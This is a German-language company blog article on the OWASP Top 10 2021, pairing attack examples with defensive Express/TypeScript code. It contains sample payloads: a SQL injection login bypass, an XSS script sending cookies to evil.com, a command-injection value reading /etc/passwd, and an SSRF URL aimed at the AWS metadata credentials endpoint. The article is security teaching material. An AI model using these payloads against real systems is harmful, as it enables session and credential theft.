Zum Inhalt springenMDS CloudNEUmdscloud.pl ausprobieren
Sicherheit

Sicherheit von Webanwendungen - OWASP Top 10

Veröffentlicht am:
·7 Min. Lesezeit·Autor: MDS Software Solutions Group

Sicherheit von Webanwendungen - OWASP Top 10#

Die Sicherheit von Webanwendungen ist einer der wichtigsten Aspekte der modernen Softwareentwicklung. Jedes Jahr werden Millionen von Webseiten Opfer von Angriffen, die zu Datenlecks, finanziellen Verlusten und Reputationsschäden führen. Das OWASP (Open Web Application Security Project) veröffentlicht regelmäßig eine aktualisierte Liste der Top 10 kritischsten Sicherheitsrisiken, die als Referenzpunkt für Entwickler, Auditoren und Systemarchitekten weltweit dient.

In diesem Artikel werden wir jede der zehn Bedrohungen aus der OWASP Top 10 2021 Liste ausführlich besprechen, reale Angriffsbeispiele zeigen und konkrete Techniken sowie Code zum Schutz Ihrer Anwendungen vorstellen.

1. A01:2021 - Broken Access Control (Fehlerhafte Zugriffskontrolle)#

Die fehlerhafte Zugriffskontrolle ist vom fünften Platz auf das schwerwiegendste Sicherheitsrisiko für Webanwendungen in der Ausgabe 2021 aufgestiegen. Sie tritt auf, wenn Benutzer Aktionen außerhalb ihrer vorgesehenen Berechtigungen ausführen können. Dies kann den Zugriff auf Daten anderer Benutzer, die Änderung fremder Ressourcen oder die Eskalation von Privilegien bedeuten.

Angriffsbeispiele#

Ein klassisches Beispiel ist die Manipulation von URL-Parametern. Stellen Sie sich eine Banking-Anwendung vor, bei der ein Benutzer sein Konto unter /account/12345 einsieht. Wenn er die Nummer auf /account/12346 ändert und das System seine Berechtigung nicht überprüft, erhält er Zugriff auf ein fremdes Konto.

Ein weiteres Szenario ist IDOR (Insecure Direct Object Reference), bei dem eine API Daten basierend auf einem vom Benutzer bereitgestellten Identifikator ohne ordnungsgemäße Autorisierung zurückgibt:

GET /api/users/42/invoices HTTP/1.1
Authorization: Bearer <token_von_benutzer_13>

Wenn der Server Rechnungen von Benutzer 42 mit dem Token von Benutzer 13 zurückgibt, liegt eine schwerwiegende Sicherheitslücke vor.

Prävention#

// Autorisierungs-Middleware in Express.js
const authorizeResource = (resourceType: string) => {
  return async (req: Request, res: Response, next: NextFunction) => {
    const userId = req.user.id; // aus JWT-Token
    const resourceId = req.params.id;

    const resource = await db.query(
      `SELECT * FROM ${resourceType} WHERE id = $1 AND owner_id = $2`,
      [resourceId, userId]
    );

    if (!resource.rows.length) {
      return res.status(403).json({ error: 'Zugriff verweigert' });
    }

    req.resource = resource.rows[0];
    next();
  };
};

// Verwendung
app.get('/api/invoices/:id', authenticate, authorizeResource('invoices'), getInvoice);

Wenden Sie immer das Prinzip Deny by Default an - verweigern Sie den Zugriff standardmäßig und fordern Sie eine explizite Berechtigung. Implementieren Sie die Zugriffskontrolle auf der Serverseite und verlassen Sie sich niemals ausschließlich auf das Ausblenden von UI-Elementen.

2. A02:2021 - Cryptographic Failures (Kryptografische Fehler)#

Diese Kategorie, früher als "Sensitive Data Exposure" bekannt, umfasst die unsachgemäße Verwendung oder das Fehlen von Kryptografie. Dazu gehören die Übertragung von Daten im Klartext, die Verwendung schwacher kryptografischer Algorithmen und ein unsachgemäßes Schlüsselmanagement.

Angriffsbeispiele#

Die Speicherung von Passwörtern im Klartext oder mit schwachen Hash-Funktionen (MD5, SHA1) ist immer noch ein häufiges Problem. Ein Angreifer, der Zugang zur Datenbank erhält, kann Passwörter mithilfe von Rainbow-Tabellen wiederherstellen.

Ein weiteres Beispiel ist das Fehlen einer HTTPS-Erzwingung, die Man-in-the-Middle-Angriffe ermöglicht:

# HTTP-Verkehr in einem ungesicherten WLAN-Netzwerk abfangen
Cookie: session=abc123; user=admin

Prävention#

import bcrypt from 'bcrypt';
import crypto from 'crypto';

// Korrektes Passwort-Hashing
const SALT_ROUNDS = 12;

async function hashPassword(password: string): Promise<string> {
  return bcrypt.hash(password, SALT_ROUNDS);
}

async function verifyPassword(password: string, hash: string): Promise<boolean> {
  return bcrypt.compare(password, hash);
}

// Verschlüsselung sensibler Daten in der Datenbank
const ALGORITHM = 'aes-256-gcm';

function encrypt(text: string, key: Buffer): { encrypted: string; iv: string; tag: string } {
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv(ALGORITHM, key, iv);
  let encrypted = cipher.update(text, 'utf8', 'hex');
  encrypted += cipher.final('hex');
  const tag = cipher.getAuthTag();

  return {
    encrypted,
    iv: iv.toString('hex'),
    tag: tag.toString('hex'),
  };
}

Erzwingen Sie HTTPS immer über den HSTS-Header:

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

3. A03:2021 - Injection (Code-Einschleusung)#

Injection ist eine der ältesten und gefährlichsten Bedrohungskategorien. Injection-Angriffe treten auf, wenn nicht vertrauenswürdige Daten als Teil eines Befehls oder einer Abfrage an einen Interpreter gesendet werden. Die häufigsten Typen sind SQL Injection, Cross-Site Scripting (XSS) und Command Injection.

SQL Injection#

Ein Angreifer manipuliert eine SQL-Abfrage, indem er bösartigen Code einschleust:

-- Anfällige Abfrage
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'beliebig'

Diese Abfrage gibt alle Benutzer aus der Datenbank zurück und umgeht die Authentifizierung vollständig.

XSS (Cross-Site Scripting)#

XSS ermöglicht es Angreifern, JavaScript-Code im Browser des Opfers einzuschleusen:

<!-- Gespeichertes XSS in einem Forenkommentar -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

Command Injection#

Einschleusung von Systembefehlen:

# Anfällige Anwendung führt aus:
ping -c 4 <benutzereingabe>
# Angreifer gibt ein: 127.0.0.1; cat /etc/passwd

Prävention#

// SQL Injection - Parametrisierte Abfragen verwenden
// SCHLECHT:
const query = `SELECT * FROM users WHERE email = '${email}'`;

// GUT - Parametrisierte Abfrage (node-postgres):
const result = await pool.query(
  'SELECT * FROM users WHERE email = $1',
  [email]
);

// GUT - ORM (Prisma):
const user = await prisma.user.findUnique({
  where: { email: email },
});

// XSS - Ausgabe-Sanitisierung
import DOMPurify from 'dompurify';

function sanitizeHTML(dirty: string): string {
  return DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
    ALLOWED_ATTR: [],
  });
}

// Command Injection - Validierung und Allowlisting
import { execFile } from 'child_process';

// SCHLECHT:
exec(`ping -c 4 ${userInput}`);

// GUT - execFile mit Argumenten als Array:
const isValidIP = /^(\d{1,3}\.){3}\d{1,3}$/.test(userInput);
if (isValidIP) {
  execFile('ping', ['-c', '4', userInput], (error, stdout) => {
    // Ergebnis verarbeiten
  });
}

4. A04:2021 - Insecure Design (Unsicheres Design)#

Diese neue Kategorie in der Ausgabe 2021 befasst sich mit Fehlern in der Entwurfsphase der Anwendung. Es geht nicht um fehlerhafte Implementierung, sondern um das Fehlen von Sicherheitsmechanismen in der Systemarchitektur selbst.

Beispiele#

Eine E-Commerce-Anwendung erlaubt unbegrenzte Versuche zur Eingabe eines Rabattcodes - ein Angreifer kann per Brute-Force aktive Codes erraten. Ein Ticketreservierungssystem begrenzt nicht die Anzahl der Tickets pro Transaktion, was Scalpern ermöglicht, den gesamten Pool aufzukaufen.

Prävention#

// Rate Limiting auf Designebene
import rateLimit from 'express-rate-limit';

// Anmeldeversuche begrenzen
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 Minuten
  max: 5, // 5 Versuche pro Fenster
  message: { error: 'Zu viele Anmeldeversuche. Versuchen Sie es in 15 Minuten erneut.' },
  standardHeaders: true,
  legacyHeaders: false,
  keyGenerator: (req) => req.body.email || req.ip,
});

app.post('/api/auth/login', loginLimiter, loginHandler);

// Gutscheincode-Versuche begrenzen
const couponLimiter = rateLimit({
  windowMs: 60 * 60 * 1000, // 1 Stunde
  max: 10, // 10 Versuche pro Stunde
  keyGenerator: (req) => req.user.id,
});

app.post('/api/coupons/apply', authenticate, couponLimiter, applyCoupon);

Beim Entwurf von Systemen sollten Sie Threat Modeling anwenden - die systematische Identifizierung potenzieller Bedrohungen in der Architekturphase. Verwenden Sie Methoden wie STRIDE oder DREAD zur Risikoklassifizierung.

5. A05:2021 - Security Misconfiguration (Sicherheitsfehlkonfiguration)#

Sicherheitsfehlkonfiguration ist das am häufigsten anzutreffende Problem. Es umfasst Standardpasswörter, unnötige Dienste, offene Ports, detaillierte Fehlermeldungen in der Produktion und fehlende Sicherheitspatches.

Beispiele#

Standardmäßige Admin-Panel-Anmeldedaten (admin/admin) beibehalten, Stack-Traces in API-Antworten anzeigen, Verzeichnislisting auf dem Webserver aktiviert lassen und eine ungesicherte Datenbankkonsole öffentlich zugänglich machen.

Prävention#

// Express.js-Produktionskonfiguration
import helmet from 'helmet';
import cors from 'cors';

const app = express();

// Helmet setzt sichere HTTP-Header
app.use(helmet());

// Restriktive CORS-Konfiguration
app.use(cors({
  origin: ['https://www.example.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true,
  maxAge: 86400,
}));

// Technologie-Offenlegung deaktivieren
app.disable('x-powered-by');

// Fehlerbehandlung ohne Detailoffenlegung
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
  console.error('Interner Fehler:', err); // Details protokollieren

  res.status(500).json({
    error: 'Ein interner Serverfehler ist aufgetreten',
    // NICHT err.message oder err.stack in der Produktion zurückgeben
  });
});
# Nginx-Konfiguration - Serverversion verbergen
server_tokens off;

# Verzeichnislisting deaktivieren
autoindex off;

# HTTP-Methoden einschränken
if ($request_method !~ ^(GET|POST|PUT|DELETE|OPTIONS)$) {
    return 405;
}

6. A06:2021 - Vulnerable and Outdated Components (Anfällige und veraltete Komponenten)#

Moderne Anwendungen bestehen aus vielen Bibliotheken und Frameworks. Jede dieser Komponenten kann bekannte Sicherheitslücken enthalten. Die Verwendung veralteter Paketversionen ist eine offene Einladung für Angreifer.

Beispiele#

Die berüchtigte Log4Shell-Sicherheitslücke (CVE-2021-44228) in der Apache Log4j-Bibliothek ermöglichte Remote Code Execution (RCE) und betraf Millionen von Java-Anwendungen weltweit. Weitere Beispiele sind Schwachstellen in älteren jQuery-Versionen, die XSS-Angriffe ermöglichten, oder die Kompromittierung der event-stream-Bibliothek im npm-Ökosystem.

Prävention#

# Regelmäßige Abhängigkeitsaudits
npm audit
npm audit fix

# Automatische Sicherheitsupdates mit Dependabot
# .github/dependabot.yml
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    labels:
      - "dependencies"
      - "security"
// Lizenz- und Schwachstellenprüfung in CI/CD
// package.json
{
  "scripts": {
    "security:check": "npm audit --audit-level=high",
    "security:fix": "npm audit fix",
    "deps:outdated": "npm outdated"
  }
}

Pflegen Sie eine Software Bill of Materials (SBOM) - ein Verzeichnis aller Komponenten und ihrer Versionen in Ihrer Anwendung. Überwachen Sie CVE-Datenbanken auf neue Schwachstellen in Ihren Abhängigkeiten.

7. A07:2021 - Identification and Authentication Failures (Fehler bei Identifizierung und Authentifizierung)#

Diese Kategorie umfasst Schwächen bei Anmeldemechanismen, Sitzungsverwaltung und Identitätsüberprüfung. Dazu gehören fehlender Brute-Force-Schutz, schwache Passwortanforderungen und unsachgemäße Verwaltung von Sitzungstoken.

Beispiele#

Eine Anwendung erlaubt die Verwendung von 123456 als Passwort ohne Komplexitätsanforderungen. Sitzungstoken sind vorhersagbar oder werden nach der Anmeldung nicht erneuert. Der "Passwort vergessen"-Mechanismus verrät, ob eine bestimmte E-Mail-Adresse im System existiert.

Prävention#

// Sichere Sitzungskonfiguration
import session from 'express-session';
import RedisStore from 'connect-redis';

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET!,
  name: '__Host-sid', // __Host-Präfix erfordert HTTPS
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,
    httpOnly: true,
    sameSite: 'strict',
    maxAge: 30 * 60 * 1000, // 30 Minuten
    domain: 'example.com',
  },
}));

// Passwortstärke-Validierung
import zxcvbn from 'zxcvbn';

function validatePassword(password: string): { valid: boolean; feedback: string[] } {
  const result = zxcvbn(password);

  if (result.score < 3) {
    return {
      valid: false,
      feedback: result.feedback.suggestions,
    };
  }

  if (password.length < 10) {
    return {
      valid: false,
      feedback: ['Das Passwort muss mindestens 10 Zeichen lang sein'],
    };
  }

  return { valid: true, feedback: [] };
}

// Multi-Faktor-Authentifizierung (MFA) mit TOTP
import speakeasy from 'speakeasy';

function generateTOTPSecret() {
  return speakeasy.generateSecret({
    name: 'MeineAnwendung',
    issuer: 'MDS Software',
  });
}

function verifyTOTP(secret: string, token: string): boolean {
  return speakeasy.totp.verify({
    secret,
    encoding: 'base32',
    token,
    window: 1,
  });
}

8. A08:2021 - Software and Data Integrity Failures (Fehler bei Software- und Datenintegrität)#

Diese neue Kategorie umfasst Probleme im Zusammenhang mit fehlender Code- und Datenintegritätsüberprüfung. Dazu gehören unsichere CI/CD-Pipelines, nicht verifizierte Software-Updates und die Deserialisierung nicht vertrauenswürdiger Daten.

Beispiele#

Ein Supply-Chain-Angriff durch Übernahme eines beliebten npm-Pakets und Einschleusung von bösartigem Code. Fehlende Überprüfung digitaler Signaturen bei automatischen Updates. Deserialisierung nicht vertrauenswürdiger Objekte, die zu Remote Code Execution führt.

Prävention#

// Abhängigkeitsintegrität mit package-lock.json überprüfen
// In CI/CD verwenden Sie npm ci statt npm install
// npm ci installiert genau das, was im Lockfile steht

// Subresource Integrity (SRI) für externe Skripte
// in HTML:
`<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
  crossorigin="anonymous"
></script>`

// Sichere Deserialisierung - eval() und JSON.parse ohne Validierung vermeiden
import Ajv from 'ajv';

const ajv = new Ajv();

const userSchema = {
  type: 'object',
  properties: {
    name: { type: 'string', maxLength: 100 },
    email: { type: 'string', format: 'email' },
    role: { type: 'string', enum: ['user', 'editor'] },
  },
  required: ['name', 'email'],
  additionalProperties: false,
};

const validateUser = ajv.compile(userSchema);

function parseUserData(data: unknown) {
  if (!validateUser(data)) {
    throw new Error(`Ungültige Daten: ${ajv.errorsText(validateUser.errors)}`);
  }
  return data;
}

9. A09:2021 - Security Logging and Monitoring Failures (Fehler bei Sicherheitsprotokollierung und Überwachung)#

Ohne ordnungsgemäße Protokollierung und Überwachung können Sicherheitsverletzungen wochen- oder monatelang unentdeckt bleiben. Die durchschnittliche Zeit zur Erkennung einer Datenpanne beträgt 287 Tage. Fehlende Protokolle bedeuten die Unfähigkeit, Vorfälle zu analysieren und auf Angriffe zu reagieren.

Beispiele#

Eine Anwendung protokolliert keine fehlgeschlagenen Anmeldeversuche, was die Erkennung von Brute-Force-Angriffen unmöglich macht. Keine Warnungen bei ungewöhnlichen Aktivitäten (z.B. Anmeldung aus einem neuen Land). Protokolle enthalten nicht genügend Informationen, um den Angriffsverlauf zu rekonstruieren.

Prävention#

import winston from 'winston';

// Sichere Protokollierungskonfiguration
const logger = winston.createLogger({
  level: 'info',
  format: winston.format.combine(
    winston.format.timestamp(),
    winston.format.json()
  ),
  defaultMeta: { service: 'webapp' },
  transports: [
    new winston.transports.File({ filename: 'error.log', level: 'error' }),
    new winston.transports.File({ filename: 'security.log' }),
  ],
});

// Sicherheitsereignisse protokollieren
function logSecurityEvent(event: {
  type: string;
  userId?: string;
  ip: string;
  details: string;
  severity: 'low' | 'medium' | 'high' | 'critical';
}) {
  logger.warn('SECURITY_EVENT', {
    ...event,
    timestamp: new Date().toISOString(),
  });

  // Alarm für kritische Ereignisse
  if (event.severity === 'critical') {
    notifySecurityTeam(event);
  }
}

// Middleware zur Protokollierung von Authentifizierungsversuchen
function logAuthAttempt(req: Request, success: boolean) {
  logSecurityEvent({
    type: success ? 'AUTH_SUCCESS' : 'AUTH_FAILURE',
    userId: req.body.email,
    ip: req.ip,
    details: `Anmeldeversuch von ${req.headers['user-agent']}`,
    severity: success ? 'low' : 'medium',
  });
}

// Anomalieerkennung - zu viele fehlgeschlagene Versuche
const failedAttempts = new Map<string, number>();

function detectBruteForce(ip: string): boolean {
  const attempts = (failedAttempts.get(ip) || 0) + 1;
  failedAttempts.set(ip, attempts);

  if (attempts >= 10) {
    logSecurityEvent({
      type: 'BRUTE_FORCE_DETECTED',
      ip,
      details: `${attempts} fehlgeschlagene Versuche von IP`,
      severity: 'critical',
    });
    return true;
  }
  return false;
}

10. A10:2021 - Server-Side Request Forgery (SSRF)#

SSRF ist ein neuer Eintrag in den OWASP Top 10. Der Angriff besteht darin, einen Server zu zwingen, HTTP-Anfragen an beliebige Adressen zu senden, einschließlich interner Ressourcen, die normalerweise von außen nicht erreichbar sind.

Beispiele#

Eine Anwendung ermöglicht es Benutzern, eine URL zum Abrufen eines Bildes anzugeben. Ein Angreifer gibt eine interne Dienstadresse an:

https://example.com/fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Diese Adresse (169.254.169.254) ist der AWS EC2-Metadatenserver - der Angreifer kann temporäre IAM-Anmeldeinformationen erhalten.

Prävention#

import { URL } from 'url';
import dns from 'dns/promises';
import ipaddr from 'ipaddr.js';

async function isUrlSafe(inputUrl: string): Promise<boolean> {
  try {
    const parsed = new URL(inputUrl);

    // Nur HTTP und HTTPS erlauben
    if (!['http:', 'https:'].includes(parsed.protocol)) {
      return false;
    }

    // Private IP-Adressen blockieren
    const addresses = await dns.resolve4(parsed.hostname);

    for (const addr of addresses) {
      const ip = ipaddr.parse(addr);
      const range = ip.range();

      if (['private', 'loopback', 'linkLocal', 'uniqueLocal'].includes(range)) {
        return false;
      }
    }

    // Bekannte Cloud-Metadatenadressen blockieren
    const blockedHosts = [
      '169.254.169.254',   // AWS/GCP-Metadaten
      'metadata.google.internal',
      '100.100.100.200',   // Alibaba Cloud
    ];

    if (blockedHosts.includes(parsed.hostname)) {
      return false;
    }

    return true;
  } catch {
    return false;
  }
}

// Verwendung
app.post('/api/fetch-image', async (req, res) => {
  const { url } = req.body;

  if (!await isUrlSafe(url)) {
    return res.status(400).json({ error: 'URL nicht erlaubt' });
  }

  // Ressource sicher mit Timeout abrufen
  const response = await fetch(url, {
    signal: AbortSignal.timeout(5000),
    redirect: 'error', // Weiterleitungen blockieren
  });

  // Content-Type überprüfen
  const contentType = response.headers.get('content-type');
  if (!contentType?.startsWith('image/')) {
    return res.status(400).json({ error: 'Ressource ist kein Bild' });
  }

  const buffer = await response.arrayBuffer();
  res.set('Content-Type', contentType);
  res.send(Buffer.from(buffer));
});

HTTP-Sicherheitsheader#

Neben dem Schutz vor einzelnen Angriffen ist es wesentlich, geeignete HTTP-Header zu setzen, die eine zusätzliche Verteidigungsschicht bieten:

// Vollständige Sicherheitsheader-Konfiguration
app.use((req, res, next) => {
  // Content Security Policy - Schutz vor XSS und Injection
  res.setHeader('Content-Security-Policy', [
    "default-src 'self'",
    "script-src 'self' 'nonce-${generateNonce()}'",
    "style-src 'self' 'unsafe-inline'",
    "img-src 'self' data: https:",
    "font-src 'self'",
    "connect-src 'self' https://api.example.com",
    "frame-ancestors 'none'",
    "base-uri 'self'",
    "form-action 'self'",
  ].join('; '));

  // Clickjacking-Schutz
  res.setHeader('X-Frame-Options', 'DENY');

  // MIME-Sniffing-Schutz
  res.setHeader('X-Content-Type-Options', 'nosniff');

  // Referrer-Richtlinie
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

  // Berechtigungsrichtlinie - Browser-API-Zugriff einschränken
  res.setHeader('Permissions-Policy',
    'camera=(), microphone=(), geolocation=(), payment=(self)'
  );

  // HSTS - HTTPS erzwingen
  res.setHeader('Strict-Transport-Security',
    'max-age=63072000; includeSubDomains; preload'
  );

  next();
});

CORS - Cross-Origin Resource Sharing#

Eine korrekte CORS-Konfiguration ist ein wesentliches Sicherheitselement. Eine zu freizügige CORS-Richtlinie kann unbefugten API-Zugriff ermöglichen:

import cors from 'cors';

// SCHLECHT - erlaubt Anfragen von jeder Domain:
app.use(cors({ origin: '*' }));

// GUT - restriktive Konfiguration:
const allowedOrigins = [
  'https://www.example.com',
  'https://app.example.com',
];

app.use(cors({
  origin: (origin, callback) => {
    // Anfragen ohne Origin erlauben (z.B. mobile Apps, curl)
    if (!origin) return callback(null, true);

    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Von CORS nicht erlaubt'));
    }
  },
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  exposedHeaders: ['X-Request-Id'],
  credentials: true,
  maxAge: 86400,
}));

Content Security Policy (CSP) in der Praxis#

CSP ist einer der wirksamsten Abwehrmechanismen gegen XSS-Angriffe. Es ermöglicht die Definition, woher der Browser Ressourcen laden darf:

import crypto from 'crypto';

// Nonce für Inline-Skripte generieren
function generateNonce(): string {
  return crypto.randomBytes(16).toString('base64');
}

app.use((req, res, next) => {
  const nonce = generateNonce();
  res.locals.nonce = nonce;

  const csp = {
    'default-src': ["'self'"],
    'script-src': ["'self'", `'nonce-${nonce}'`, "'strict-dynamic'"],
    'style-src': ["'self'", "'unsafe-inline'"],
    'img-src': ["'self'", 'data:', 'https:'],
    'font-src': ["'self'", 'https://fonts.gstatic.com'],
    'connect-src': ["'self'", 'https://api.example.com'],
    'frame-src': ["'none'"],
    'object-src': ["'none'"],
    'base-uri': ["'self'"],
    'form-action': ["'self'"],
    'frame-ancestors': ["'none'"],
    'upgrade-insecure-requests': [],
  };

  const cspString = Object.entries(csp)
    .map(([key, values]) => `${key} ${values.join(' ')}`)
    .join('; ');

  res.setHeader('Content-Security-Policy', cspString);
  next();
});

Sicherheits-Checkliste für Webanwendungen#

Zusammenfassend die wichtigsten Punkte, die in jeder Webanwendung überprüft werden sollten:

  • Zugriffskontrolle: Berechtigungen serverseitig für jede Anfrage überprüfen
  • Kryptografie: bcrypt/Argon2 für Passwörter, AES-256-GCM für Daten, HTTPS erzwingen
  • Injection: Parametrisierte Abfragen, Eingabe-Sanitisierung, CSP
  • Design: Threat Modeling, Rate Limiting, Prinzip der geringsten Berechtigung
  • Konfiguration: Server-Härtung, Versionen verbergen, Debugging deaktivieren
  • Abhängigkeiten: Regelmäßige Audits, automatische Updates, SBOM
  • Authentifizierung: MFA, starke Passwörter, sichere Sitzungen
  • Integrität: SRI, Signaturüberprüfung, Datenvalidierung
  • Monitoring: Sicherheitsereignisprotokollierung, Alarmierung, Anomalieanalyse
  • SSRF: URL-Validierung, private IP-Blockierung, Weiterleitungsbeschränkungen

Fazit#

Die Sicherheit von Webanwendungen ist ein kontinuierlicher Prozess, keine einmalige Maßnahme. Die OWASP Top 10 2021 Liste bietet eine solide Grundlage zur Identifizierung und Beseitigung der häufigsten Bedrohungen. Es ist entscheidend, Sicherheit in jeder Phase des Software-Entwicklungslebenszyklus zu implementieren - vom Entwurf über die Implementierung bis hin zur Bereitstellung und Überwachung.

Denken Sie daran, dass selbst die besten technischen Schutzmaßnahmen keine Sicherheitskultur im Team ersetzen können. Regelmäßige Schulungen, Security Code Reviews und Penetrationstests sollten feste Bestandteile des Softwareentwicklungsprozesses sein.


Benötigen Sie ein professionelles Sicherheitsaudit oder Hilfe bei der Implementierung von Schutzmaßnahmen in Ihrer Anwendung? Das Team von MDS Software Solutions Group ist spezialisiert auf die Konzeption und Entwicklung sicherer Webanwendungen nach OWASP-Best-Practices. Kontaktieren Sie uns, um die Sicherheit Ihres Projekts zu besprechen.

Autor
MDS Software Solutions Group

Team von Programmierexperten, die sich auf moderne Webtechnologien spezialisiert haben.

Sicherheit von Webanwendungen - OWASP Top 10 | MDS Software Solutions Group